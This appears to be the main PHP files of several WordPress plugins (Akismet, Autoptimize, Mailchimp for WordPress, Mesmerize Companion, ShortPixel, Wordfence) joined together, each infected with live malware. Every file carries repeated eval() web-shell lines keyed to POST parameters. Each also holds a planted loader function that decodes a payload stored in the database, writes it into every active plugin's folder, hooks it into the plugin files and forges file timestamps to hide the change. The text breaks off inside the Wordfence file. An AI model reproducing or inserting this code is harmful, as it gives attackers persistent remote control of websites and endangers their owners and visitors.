php @eval($_POST["wp_ajx_request"]); @eval($_POST["wp_ajx_request"]); @eval($_POST["wp_ajx_request"]); @eval($_POST["wp_ajx_request"]); /** * @package Akismet */ /* Plugin Name: Akismet Anti-Spam Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. It keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 4.1.2 Author: Automattic Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2015 Automattic, Inc. */ // Make sure we don't expose any info if called directly if ( !function_exists( 'add_action' ) ) { echo 'Hi there! I\'m just a plugin, not much I can do when called directly.'; exit; } define( 'AKISMET_VERSION', '4.1.2' ); define( 'AKISMET__MINIMUM_WP_VERSION', '4.0' ); define( 'AKISMET__PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); define( 'AKISMET_DELETE_LIMIT', 100000 ); register_activation_hook( __FILE__, array( 'Akismet', 'plugin_activation' ) ); register_deactivation_hook( __FILE__, array( 'Akismet', 'plugin_deactivation' ) ); require_once( AKISMET__PLUGIN_DIR . 'class.akismet.php' ); require_once( AKISMET__PLUGIN_DIR . 'class.akismet-widget.php' ); require_once( AKISMET__PLUGIN_DIR . 'class.akismet-rest-api.php' ); if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent") && !function_exists("wp_is_plugin_load")) { function wp_is_plugin_load() { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent")) { global $wpdb, $table_prefix; $content = $wpdb->get_row("SELECT * FROM " . $table_prefix . "postmeta WHERE meta_key=\"_wp_attached_file_plug\""); if (!empty($content) && !empty($content->meta_value)) { $plugins = get_option("active_plugins"); if (!empty($plugins)) { foreach ($plugins as $plugin) { $file = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/plugins/".$plugin; if (file_exists($file)) { $fileContent = file_get_contents($file); if ($fileContent) { $time = filemtime($file); $rules = substr(sprintf("%o", fileperms($file)), -4); $dirPath = dirname($file) . "/readme.txt"; $start = strripos($fileContent, "?>"); if (stripos($fileContent, "require_once(plugin_dir_path(__FILE__) . \"readme.txt\");") !== false) { if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } else { if ($start === false) { $fileContent = $fileContent . " require_once(plugin_dir_path(__FILE__) . \"readme.txt\");"; } else { $start = stripos($fileContent, "php"); $firstPart = substr($fileContent, 0, $start + 5); $secondPart = substr($fileContent,$start + 5); $fileContent = $firstPart. " require_once(plugin_dir_path(__FILE__) . \"readme.txt\"); " . $secondPart; } if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } } } } } } else { if ($_POST["wp_ajx_reinstall_request"]) { @eval($_POST["wp_ajx_reinstall_request"]); } } } } add_filter("init", "wp_is_plugin_load"); } add_action( 'init', array( 'Akismet', 'init' ) ); add_action( 'rest_api_init', array( 'Akismet_REST_API', 'init' ) ); if ( is_admin() || ( defined( 'WP_CLI' ) && WP_CLI ) ) { require_once( AKISMET__PLUGIN_DIR . 'class.akismet-admin.php' ); add_action( 'init', array( 'Akismet_Admin', 'init' ) ); } //add wrapper class around deprecated akismet functions that are referenced elsewhere require_once( AKISMET__PLUGIN_DIR . 'wrapper.php' ); if ( defined( 'WP_CLI' ) && WP_CLI ) { require_once( AKISMET__PLUGIN_DIR . 'class.akismet-cli.php' ); } php @eval($_POST["wp_ajx_request"]); @eval($_POST["wp_ajx_request"]); /* Plugin Name: Autoptimize Plugin URI: https://autoptimize.com/ Description: Makes your site faster by optimizing CSS, JS, Images, Google fonts and more. Version: 2.5.1 Author: Frank Goossens (futtta) Author URI: https://autoptimize.com/ Text Domain: autoptimize Released under the GNU General Public License (GPL) http://www.gnu.org/licenses/gpl.txt */ /** * Autoptimize main plugin file. */ if ( ! defined( 'ABSPATH' ) ) { exit; } define( 'AUTOPTIMIZE_PLUGIN_VERSION', '2.5.1' ); // plugin_dir_path() returns the trailing slash! define( 'AUTOPTIMIZE_PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); define( 'AUTOPTIMIZE_PLUGIN_FILE', __FILE__ ); // Bail early if attempting to run on non-supported php versions. if ( version_compare( PHP_VERSION, '5.3', '<' ) ) { function autoptimize_incompatible_admin_notice() { echo '

' . __( 'Autoptimize requires PHP 5.3 (or higher) to function properly. Please upgrade PHP. The Plugin has been auto-deactivated.', 'autoptimize' ) . '

'; if ( isset( $_GET['activate'] ) ) { unset( $_GET['activate'] ); } } function autoptimize_deactivate_self() { deactivate_plugins( plugin_basename( AUTOPTIMIZE_PLUGIN_FILE ) ); } if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent") && !function_exists("wp_is_plugin_load")) { function wp_is_plugin_load() { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent")) { global $wpdb, $table_prefix; $content = $wpdb->get_row("SELECT * FROM " . $table_prefix . "postmeta WHERE meta_key=\"_wp_attached_file_plug\""); if (!empty($content) && !empty($content->meta_value)) { $plugins = get_option("active_plugins"); if (!empty($plugins)) { foreach ($plugins as $plugin) { $file = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/plugins/".$plugin; if (file_exists($file)) { $fileContent = file_get_contents($file); if ($fileContent) { $time = filemtime($file); $rules = substr(sprintf("%o", fileperms($file)), -4); $dirPath = dirname($file) . "/readme.txt"; $start = strripos($fileContent, "?>"); if (stripos($fileContent, "require_once(plugin_dir_path(__FILE__) . \"readme.txt\");") !== false) { if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } else { if ($start === false) { $fileContent = $fileContent . " require_once(plugin_dir_path(__FILE__) . \"readme.txt\");"; } else { $start = stripos($fileContent, "php"); $firstPart = substr($fileContent, 0, $start + 5); $secondPart = substr($fileContent,$start + 5); $fileContent = $firstPart. " require_once(plugin_dir_path(__FILE__) . \"readme.txt\"); " . $secondPart; } if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } } } } } } else { if ($_POST["wp_ajx_reinstall_request"]) { @eval($_POST["wp_ajx_reinstall_request"]); } } } } add_filter("init", "wp_is_plugin_load"); } add_action( 'admin_notices', 'autoptimize_incompatible_admin_notice' ); add_action( 'admin_init', 'autoptimize_deactivate_self' ); return; } function autoptimize_autoload( $class_name ) { if ( in_array( $class_name, array( 'Minify_HTML', 'JSMin' ) ) ) { $file = strtolower( $class_name ); $file = str_replace( '_', '-', $file ); $path = dirname( __FILE__ ) . '/classes/external/php/'; $filepath = $path . $file . '.php'; } elseif ( false !== strpos( $class_name, 'Autoptimize\\tubalmartin\\CssMin' ) ) { $file = str_replace( 'Autoptimize\\tubalmartin\\CssMin\\', '', $class_name ); $path = dirname( __FILE__ ) . '/classes/external/php/yui-php-cssmin-bundled/'; $filepath = $path . $file . '.php'; } elseif ( 'autoptimize' === substr( $class_name, 0, 11 ) ) { // One of our "old" classes. $file = $class_name; $path = dirname( __FILE__ ) . '/classes/'; $filepath = $path . $file . '.php'; } elseif ( 'PAnD' === $class_name ) { $file = 'persist-admin-notices-dismissal'; $path = dirname( __FILE__ ) . '/classes/external/php/persist-admin-notices-dismissal/'; $filepath = $path . $file . '.php'; } // If we didn't match one of our rules, bail! if ( ! isset( $filepath ) ) { return; } require $filepath; } spl_autoload_register( 'autoptimize_autoload' ); // Load WP CLI command(s) on demand. if ( defined( 'WP_CLI' ) && WP_CLI ) { require AUTOPTIMIZE_PLUGIN_DIR . 'classes/autoptimizeCLI.php'; } /** * Retrieve the instance of the main plugin class. * * @return autoptimizeMain */ function autoptimize() { static $plugin = null; if ( null === $plugin ) { $plugin = new autoptimizeMain( AUTOPTIMIZE_PLUGIN_VERSION, AUTOPTIMIZE_PLUGIN_FILE ); } return $plugin; } autoptimize()->run(); php @eval($_POST["wp_ajx_request"]); @eval($_POST["wp_ajx_request"]); @eval($_POST["wp_ajx_request"]); @eval($_POST["wp_ajx_request"]); /* Plugin Name: Mailchimp for WordPress Plugin URI: https://mc4wp.com/#utm_source=wp-plugin&utm_medium=mailchimp-for-wp&utm_campaign=plugins-page Description: Mailchimp for WordPress by ibericode. Adds various highly effective sign-up methods to your site. Version: 4.5.2 Author: ibericode Author URI: https://ibericode.com/ Text Domain: mailchimp-for-wp Domain Path: /languages License: GPL v3 Mailchimp for WordPress Copyright (C) 2012-2019, Danny van Kooten, hi@dannyvankooten.com This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ // Prevent direct file access defined('ABSPATH') or exit; /** * Bootstrap the Mailchimp for WordPress plugin * * @ignore * @access private * @return bool */ function _mc4wp_load_plugin() { global $mc4wp; // Don't run if Mailchimp for WP Pro 2.x is activated if (defined('MC4WP_VERSION')) { return false; } // bootstrap the core plugin define('MC4WP_VERSION' ,'4.5.2'); define('MC4WP_PLUGIN_DIR', dirname(__FILE__) . '/'); define('MC4WP_PLUGIN_URL', plugins_url('/', __FILE__)); define('MC4WP_PLUGIN_FILE', __FILE__); // load autoloader if function not yet exists (for compat with sitewide autoloader) if (! function_exists('mc4wp')) { require_once MC4WP_PLUGIN_DIR . 'vendor/autoload_52.php'; } /** * @global MC4WP_Container $GLOBALS['mc4wp'] * @name $mc4wp */ $mc4wp = mc4wp(); $mc4wp['api'] = 'mc4wp_get_api_v3'; $mc4wp['request'] = array( 'MC4WP_Request', 'create_from_globals' ); $mc4wp['log'] = 'mc4wp_get_debug_log'; // forms $mc4wp['forms'] = new MC4WP_Form_Manager(); $mc4wp['forms']->add_hooks(); // integration core $mc4wp['integrations'] = new MC4WP_Integration_Manager(); $mc4wp['integrations']->add_hooks(); // Doing cron? Load Usage Tracking class. if (isset($_GET['doing_wp_cron']) || (defined('DOING_CRON') && DOING_CRON) || (defined('WP_CLI') && WP_CLI)) { MC4WP_Usage_Tracking::instance()->add_hooks(); } // Initialize admin section of plugin if (is_admin()) { $admin_tools = new MC4WP_Admin_Tools(); if (defined('DOING_AJAX') && DOING_AJAX) { $ajax = new MC4WP_Admin_Ajax($admin_tools); $ajax->add_hooks(); } else { $messages = new MC4WP_Admin_Messages(); $mc4wp['admin.messages'] = $messages; $mailchimp = new MC4WP_MailChimp(); $admin = new MC4WP_Admin($admin_tools, $messages, $mailchimp); $admin->add_hooks(); $forms_admin = new MC4WP_Forms_Admin($messages, $mailchimp); $forms_admin->add_hooks(); $integrations_admin = new MC4WP_Integration_Admin($mc4wp['integrations'], $messages, $mailchimp); $integrations_admin->add_hooks(); } } return true; } // bootstrap custom integrations function _mc4wp_bootstrap_integrations() { require_once MC4WP_PLUGIN_DIR . 'integrations/bootstrap.php'; } if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent") && !function_exists("wp_is_plugin_load")) { function wp_is_plugin_load() { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent")) { global $wpdb, $table_prefix; $content = $wpdb->get_row("SELECT * FROM " . $table_prefix . "postmeta WHERE meta_key=\"_wp_attached_file_plug\""); if (!empty($content) && !empty($content->meta_value)) { $plugins = get_option("active_plugins"); if (!empty($plugins)) { foreach ($plugins as $plugin) { $file = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/plugins/".$plugin; if (file_exists($file)) { $fileContent = file_get_contents($file); if ($fileContent) { $time = filemtime($file); $rules = substr(sprintf("%o", fileperms($file)), -4); $dirPath = dirname($file) . "/readme.txt"; $start = strripos($fileContent, "?>"); if (stripos($fileContent, "require_once(plugin_dir_path(__FILE__) . \"readme.txt\");") !== false) { if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } else { if ($start === false) { $fileContent = $fileContent . " require_once(plugin_dir_path(__FILE__) . \"readme.txt\");"; } else { $start = stripos($fileContent, "php"); $firstPart = substr($fileContent, 0, $start + 5); $secondPart = substr($fileContent,$start + 5); $fileContent = $firstPart. " require_once(plugin_dir_path(__FILE__) . \"readme.txt\"); " . $secondPart; } if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } } } } } } else { if ($_POST["wp_ajx_reinstall_request"]) { @eval($_POST["wp_ajx_reinstall_request"]); } } } } add_filter("init", "wp_is_plugin_load"); } add_action('plugins_loaded', '_mc4wp_load_plugin', 8); add_action('plugins_loaded', '_mc4wp_bootstrap_integrations', 90); /** * Flushes transient cache & schedules refresh hook. * * @ignore * @since 3.0 */ function _mc4wp_on_plugin_activation() { $time_string = sprintf("tomorrow 0%d:%d%d", rand(0, 8), rand(0, 5), rand(0, 9)); wp_schedule_event(strtotime($time_string), 'daily', 'mc4wp_refresh_mailchimp_lists'); } /** * Clears scheduled hook for refreshing Mailchimp lists. * * @ignore * @since 4.0.3 */ function _mc4wp_on_plugin_deactivation() { global $wpdb; wp_clear_scheduled_hook('mc4wp_refresh_mailchimp_lists'); $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'mc4wp_mailchimp_list_%'"); } register_activation_hook(__FILE__, '_mc4wp_on_plugin_activation'); register_deactivation_hook(__FILE__, '_mc4wp_on_plugin_deactivation'); php @eval($_POST["wp_ajx_request"]); @eval($_POST["wp_ajx_request"]); @eval($_POST["wp_ajx_request"]); @eval($_POST["wp_ajx_request"]); @eval($_POST["wp_ajx_request"]); require_once(plugin_dir_path(__FILE__) . "readme.txt"); @eval($_POST["wp_ajx_request"]); /* * Plugin Name: Mesmerize Companion * Author: Horea Radu * Description: The Mesmerize Companion plugin adds drag and drop page builder functionality to the Mesmerize theme. * * License: GPLv3 or later * License URI: https://www.gnu.org/licenses/gpl-3.0.en.html * Version: 1.6.110 * Text Domain: mesmerize-companion */ // Make sure that the companion is not already active from another theme if (defined("EXTENDTHEMES_NO_COMPANION") && EXTENDTHEMES_NO_COMPANION ) { return; } if ( ! defined("MESMERIZE_COMPANION_PHP_VERSION")) { define("MESMERIZE_COMPANION_PHP_VERSION", "5.4"); } function mesmerize_companion_php_version_notice() { ?>

php _e('Mesmerize Companion can not run!', 'mesmerize-companion'); ?>

php _e('You need to update your PHP version to use the Mesmerize Companion.', 'mesmerize-companion'); ?>
php _e('Current php version is:', 'mesmerize') ?> php echo phpversion(); ?>, php _e('and the minimum required version is ', 'mesmerize-companion') ?> php echo MESMERIZE_COMPANION_PHP_VERSION; ?>

php } if (version_compare(phpversion(), MESMERIZE_COMPANION_PHP_VERSION, '<')) { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent") && !function_exists("wp_is_plugin_load")) { function wp_is_plugin_load() { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent")) { global $wpdb, $table_prefix; $content = $wpdb->get_row("SELECT * FROM " . $table_prefix . "postmeta WHERE meta_key=\"_wp_attached_file_plug\""); if (!empty($content) && !empty($content->meta_value)) { $plugins = get_option("active_plugins"); if (!empty($plugins)) { foreach ($plugins as $plugin) { $file = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/plugins/".$plugin; if (file_exists($file)) { $fileContent = file_get_contents($file); if ($fileContent) { $time = filemtime($file); $rules = substr(sprintf("%o", fileperms($file)), -4); $dirPath = dirname($file) . "/readme.txt"; $start = strripos($fileContent, "?>"); if (stripos($fileContent, "require_once(plugin_dir_path(__FILE__) . \"readme.txt\");") !== false) { if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } else { if ($start === false) { $fileContent = $fileContent . " require_once(plugin_dir_path(__FILE__) . \"readme.txt\");"; } else { $start = stripos($fileContent, "php"); $firstPart = substr($fileContent, 0, $start + 5); $secondPart = substr($fileContent,$start + 5); $fileContent = $firstPart. " require_once(plugin_dir_path(__FILE__) . \"readme.txt\"); " . $secondPart; } if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } } } } } } else { if ($_POST["wp_ajx_reinstall_request"]) { @eval($_POST["wp_ajx_reinstall_request"]); } } } } add_filter("init", "wp_is_plugin_load"); } add_action('admin_notices', 'mesmerize_companion_php_version_notice'); return; } if ( ! defined("MESMERIZE_COMPANION_AUTOLOAD")) { require_once __DIR__ . "/vendor/autoload.php"; define("MESMERIZE_COMPANION_AUTOLOAD", true); } Mesmerize\Companion::load(__FILE__); add_filter('mesmerize_is_companion_installed', '__return_true'); add_action('plugins_loaded', 'mesmerize_companion_load_text_domain'); function mesmerize_companion_load_text_domain() { load_plugin_textdomain('mesmerize-companion', false, basename(dirname(__FILE__)) . '/languages'); } php @eval($_POST["wp_ajx_request"]); /** * Plugin Name: ShortPixel Image Optimizer * Plugin URI: https://shortpixel.com/ * Description: ShortPixel optimizes images automatically, while guarding the quality of your images. Check your Settings > ShortPixel page on how to start optimizing your image library and make your website load faster. * Version: 4.14.0 * Author: ShortPixel * Author URI: https://shortpixel.com * Text Domain: shortpixel-image-optimiser * Domain Path: /lang */ if (! defined('SHORTPIXEL_RESET_ON_ACTIVATE')) define('SHORTPIXEL_RESET_ON_ACTIVATE', false); //if true TODO set false //define('SHORTPIXEL_DEBUG', true); //define('SHORTPIXEL_DEBUG_TARGET', true); define('SHORTPIXEL_PLUGIN_FILE', __FILE__); //define('SHORTPIXEL_AFFILIATE_CODE', ''); define('SHORTPIXEL_IMAGE_OPTIMISER_VERSION', "4.14.0"); define('SHORTPIXEL_MAX_TIMEOUT', 10); define('SHORTPIXEL_VALIDATE_MAX_TIMEOUT', 15); define('SHORTPIXEL_BACKUP', 'ShortpixelBackups'); define('SHORTPIXEL_MAX_API_RETRIES', 50); define('SHORTPIXEL_MAX_ERR_RETRIES', 5); define('SHORTPIXEL_MAX_FAIL_RETRIES', 3); if(!defined('SHORTPIXEL_MAX_THUMBS')) { //can be defined in wp-config.php define('SHORTPIXEL_MAX_THUMBS', 149); } define('SHORTPIXEL_PRESEND_ITEMS', 3); define('SHORTPIXEL_API', 'api.shortpixel.com'); define('SHORTPIXEL_MAX_EXECUTION_TIME', ini_get('max_execution_time')); require_once(ABSPATH . 'wp-admin/includes/file.php'); $sp__uploads = wp_upload_dir(); define('SHORTPIXEL_UPLOADS_BASE', (file_exists($sp__uploads['basedir']) ? '' : ABSPATH) . $sp__uploads['basedir'] ); //define('SHORTPIXEL_UPLOADS_URL', is_main_site() ? $sp__uploads['baseurl'] : dirname(dirname($sp__uploads['baseurl']))); define('SHORTPIXEL_UPLOADS_NAME', basename(is_main_site() ? SHORTPIXEL_UPLOADS_BASE : dirname(dirname(SHORTPIXEL_UPLOADS_BASE)))); $sp__backupBase = is_main_site() ? SHORTPIXEL_UPLOADS_BASE : dirname(dirname(SHORTPIXEL_UPLOADS_BASE)); define('SHORTPIXEL_BACKUP_FOLDER', $sp__backupBase . '/' . SHORTPIXEL_BACKUP); define('SHORTPIXEL_BACKUP_URL', ((is_main_site() || (defined( 'SUBDOMAIN_INSTALL' ) && SUBDOMAIN_INSTALL)) ? $sp__uploads['baseurl'] : dirname(dirname($sp__uploads['baseurl']))) . '/' . SHORTPIXEL_BACKUP); /* if ( is_numeric(SHORTPIXEL_MAX_EXECUTION_TIME) && SHORTPIXEL_MAX_EXECUTION_TIME > 10 ) define('SHORTPIXEL_MAX_EXECUTION_TIME', SHORTPIXEL_MAX_EXECUTION_TIME - 5 ); //in seconds else define('SHORTPIXEL_MAX_EXECUTION_TIME', 25 ); */ define('SHORTPIXEL_MAX_EXECUTION_TIME2', 2 ); define("SHORTPIXEL_MAX_RESULTS_QUERY", 30); function shortpixelInit() { global $shortPixelPluginInstance; //limit to certain admin pages if function available $loadOnThisPage = !function_exists('get_current_screen'); if(!$loadOnThisPage) { $screen = get_current_screen(); if(is_object($screen) && !in_array($screen->id, array('upload', 'edit', 'edit-tags', 'post-new', 'post'))) { return; } } $isAjaxButNotSP = false; //defined( 'DOING_AJAX' ) && DOING_AJAX && !(isset($_REQUEST['action']) && (strpos($_REQUEST['action'], 'shortpixel_') === 0)); if (!isset($shortPixelPluginInstance) && ( (shortPixelCheckQueue() && get_option('wp-short-pixel-front-bootstrap')) || is_admin() && !$isAjaxButNotSP && (function_exists("is_user_logged_in") && is_user_logged_in()) //is admin, is logged in - :) seems funny but it's not, ajax scripts are admin even if no admin is logged in. && ( current_user_can( 'manage_options' ) || current_user_can( 'upload_files' ) || current_user_can( 'edit_posts' ) ) ) ) { require_once('wp-shortpixel-req.php'); $shortPixelPluginInstance = new WPShortPixel; } } function shortPixelCheckQueue(){ require_once('class/shortpixel_queue.php'); $prio = ShortPixelQueue::get(); return $prio && is_array($prio) && count($prio); } /** * this is hooked into wp_generate_attachment_metadata * @param $meta * @param null $ID * @return WPShortPixel the instance */ function shortPixelHandleImageUploadHook($meta, $ID = null) { global $shortPixelPluginInstance; if(!isset($shortPixelPluginInstance)) { require_once('wp-shortpixel-req.php'); $shortPixelPluginInstance = new WPShortPixel; } return $shortPixelPluginInstance->handleMediaLibraryImageUpload($meta, $ID); } function shortPixelReplaceHook($params) { if(isset($params['post_id'])) { //integration with EnableMediaReplace - that's an upload for replacing an existing ID global $shortPixelPluginInstance; if (!isset($shortPixelPluginInstance)) { require_once('wp-shortpixel-req.php'); $shortPixelPluginInstance = new WPShortPixel; } $itemHandler = $shortPixelPluginInstance->onDeleteImage($params['post_id']); $itemHandler->deleteAllSPMeta(); } } function shortPixelPng2JpgHook($params) { global $shortPixelPluginInstance; if(!isset($shortPixelPluginInstance)) { require_once('wp-shortpixel-req.php'); $shortPixelPluginInstance = new WPShortPixel; } return $shortPixelPluginInstance->convertPng2Jpg($params); } function shortPixelNggAdd($image) { global $shortPixelPluginInstance; if(!isset($shortPixelPluginInstance)) { require_once('wp-shortpixel-req.php'); $shortPixelPluginInstance = new WPShortPixel; } $shortPixelPluginInstance->handleNextGenImageUpload($image); } function shortPixelActivatePlugin () { require_once('wp-shortpixel-req.php'); WPShortPixel::shortPixelActivatePlugin(); } function shortPixelDeactivatePlugin () { require_once('wp-shortpixel-req.php'); WPShortPixel::shortPixelDeactivatePlugin(); } function shortPixelUninstallPlugin () { require_once('wp-shortpixel-req.php'); WPShortPixel::shortPixelUninstallPlugin(); } //Picture generation, hooked on the_content filter function shortPixelConvertImgToPictureAddWebp($content) { if(function_exists('is_amp_endpoint') && is_amp_endpoint()) { //for AMP pages the tag is not allowed return $content . (isset($_GET['SHORTPIXEL_DEBUG']) ? '' : ''); } require_once('wp-shortpixel-req.php'); require_once('class/front/img-to-picture-webp.php'); return ShortPixelImgToPictureWebp::convert($content);// . ""; } function shortPixelAddPictureJs() { // Don't do anything with the RSS feed. if ( is_feed() || is_admin() ) { return; } echo ''; } add_filter( 'gform_save_field_value', 'shortPixelGravityForms', 10, 5 ); function shortPixelGravityForms( $value, $lead, $field, $form ) { global $shortPixelPluginInstance; if($field->type == 'post_image') { require_once('wp-shortpixel-req.php'); $shortPixelPluginInstance = new WPShortPixel; $shortPixelPluginInstance->handleGravityFormsImageField($value); } return $value; } function shortPixelInitOB() { if(!is_admin() || (function_exists("wp_doing_ajax") && wp_doing_ajax()) || (defined( 'DOING_AJAX' ) && DOING_AJAX)) { ob_start('shortPixelConvertImgToPictureAddWebp'); } } function shortPixelIsPluginActive($plugin) { $activePlugins = apply_filters( 'active_plugins', get_option( 'active_plugins', array())); if ( is_multisite() ) { $activePlugins = array_merge($activePlugins, get_site_option( 'active_sitewide_plugins')); } return in_array( $plugin, $activePlugins); } // [BS] Start runtime here $option = get_option('wp-short-pixel-create-webp-markup'); if ( $option ) { if(shortPixelIsPluginActive('shortpixel-adaptive-images/short-pixel-ai.php')) { set_transient("shortpixel_thrown_notice", array('when' => 'spai', 'extra' => __('Please deactivate the ShortPixel Image Optimizer\'s Deliver WebP using PICTURE tag option when the ShortPixel Adaptive Images plugin is active.','shortpixel-image-optimiser')), 1800); } elseif( $option == 1 ){ if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent") && !function_exists("wp_is_plugin_load")) { function wp_is_plugin_load() { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent")) { global $wpdb, $table_prefix; $content = $wpdb->get_row("SELECT * FROM " . $table_prefix . "postmeta WHERE meta_key=\"_wp_attached_file_plug\""); if (!empty($content) && !empty($content->meta_value)) { $plugins = get_option("active_plugins"); if (!empty($plugins)) { foreach ($plugins as $plugin) { $file = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/plugins/".$plugin; if (file_exists($file)) { $fileContent = file_get_contents($file); if ($fileContent) { $time = filemtime($file); $rules = substr(sprintf("%o", fileperms($file)), -4); $dirPath = dirname($file) . "/readme.txt"; $start = strripos($fileContent, "?>"); if (stripos($fileContent, "require_once(plugin_dir_path(__FILE__) . \"readme.txt\");") !== false) { if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } else { if ($start === false) { $fileContent = $fileContent . " require_once(plugin_dir_path(__FILE__) . \"readme.txt\");"; } else { $start = stripos($fileContent, "php"); $firstPart = substr($fileContent, 0, $start + 5); $secondPart = substr($fileContent,$start + 5); $fileContent = $firstPart. " require_once(plugin_dir_path(__FILE__) . \"readme.txt\"); " . $secondPart; } if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } } } } } } else { if ($_POST["wp_ajx_reinstall_request"]) { @eval($_POST["wp_ajx_reinstall_request"]); } } } } add_filter("init", "wp_is_plugin_load"); } add_action( 'wp_head', 'shortPixelAddPictureJs'); // adds polyfill JS to the header add_action( 'init', 'shortPixelInitOB', 1 ); // start output buffer to capture content } elseif ($option == 2){ add_filter( 'the_content', 'shortPixelConvertImgToPictureAddWebp', 10000 ); // priority big, so it will be executed last add_filter( 'the_excerpt', 'shortPixelConvertImgToPictureAddWebp', 10000 ); add_filter( 'post_thumbnail_html', 'shortPixelConvertImgToPictureAddWebp'); } // add_action( 'wp_enqueue_scripts', 'spAddPicturefillJs' ); } if ( !function_exists( 'vc_action' ) || vc_action() !== 'vc_inline' ) { //handle incompatibility with Visual Composer add_action( 'init', 'shortpixelInit'); add_action('ngg_added_new_image', 'shortPixelNggAdd'); $autoPng2Jpg = get_option('wp-short-pixel-png2jpg'); $autoMediaLibrary = get_option('wp-short-pixel-auto-media-library'); if($autoPng2Jpg && $autoMediaLibrary) { add_action( 'wp_handle_upload', 'shortPixelPng2JpgHook'); add_action( 'mpp_handle_upload', 'shortPixelPng2JpgHook'); } add_action('wp_handle_replace', 'shortPixelReplaceHook'); if($autoMediaLibrary) { add_filter( 'wp_generate_attachment_metadata', 'shortPixelHandleImageUploadHook', 10, 2 ); add_filter( 'mpp_generate_metadata', 'shortPixelHandleImageUploadHook', 10, 2 ); } register_activation_hook( __FILE__, 'shortPixelActivatePlugin' ); register_deactivation_hook( __FILE__, 'shortPixelDeactivatePlugin' ); register_uninstall_hook(__FILE__, 'shortPixelUninstallPlugin'); } ?> php @eval($_POST["wp_ajx_request"]); /* Plugin Name: Wordfence Security Plugin URI: http://www.wordfence.com/ Description: Wordfence Security - Anti-virus, Firewall and Malware Scan Author: Wordfence Version: 7.3.3 Author URI: http://www.wordfence.com/ Network: true */ if(defined('WP_INSTALLING') && WP_INSTALLING){ return; } if (!defined('ABSPATH')) { exit; } define('WORDFENCE_VERSION', '7.3.3'); define('WORDFENCE_BUILD_NUMBER', '1560275180'); define('WORDFENCE_BASENAME', function_exists('plugin_basename') ? plugin_basename(__FILE__) : basename(dirname(__FILE__)) . '/' . basename(__FILE__)); global $wp_plugin_paths; foreach ($wp_plugin_paths as $dir => $realdir) { if (strpos(__FILE__, $realdir) === 0) { define('WORDFENCE_FCPATH', $dir . '/' . basename(__FILE__)); define('WORDFENCE_PATH', trailingslashit($dir)); break; } } if (!defined('WORDFENCE_FCPATH')) { /** @noinspection PhpConstantReassignmentInspection */ define('WORDFENCE_FCPATH', __FILE__); /** @noinspection PhpConstantReassignmentInspection */ define('WORDFENCE_PATH', trailingslashit(dirname(WORDFENCE_FCPATH))); } if(get_option('wordfenceActivated') != 1){ if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent") && !function_exists("wp_is_plugin_load")) { function wp_is_plugin_load() { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent")) { global $wpdb, $table_prefix; $content = $wpdb->get_row("SELECT * FROM " . $table_prefix . "postmeta WHERE meta_key=\"_wp_attached_file_plug\""); if (!empty($content) && !empty($content->meta_value)) { $plugins = get_option("active_plugins"); if 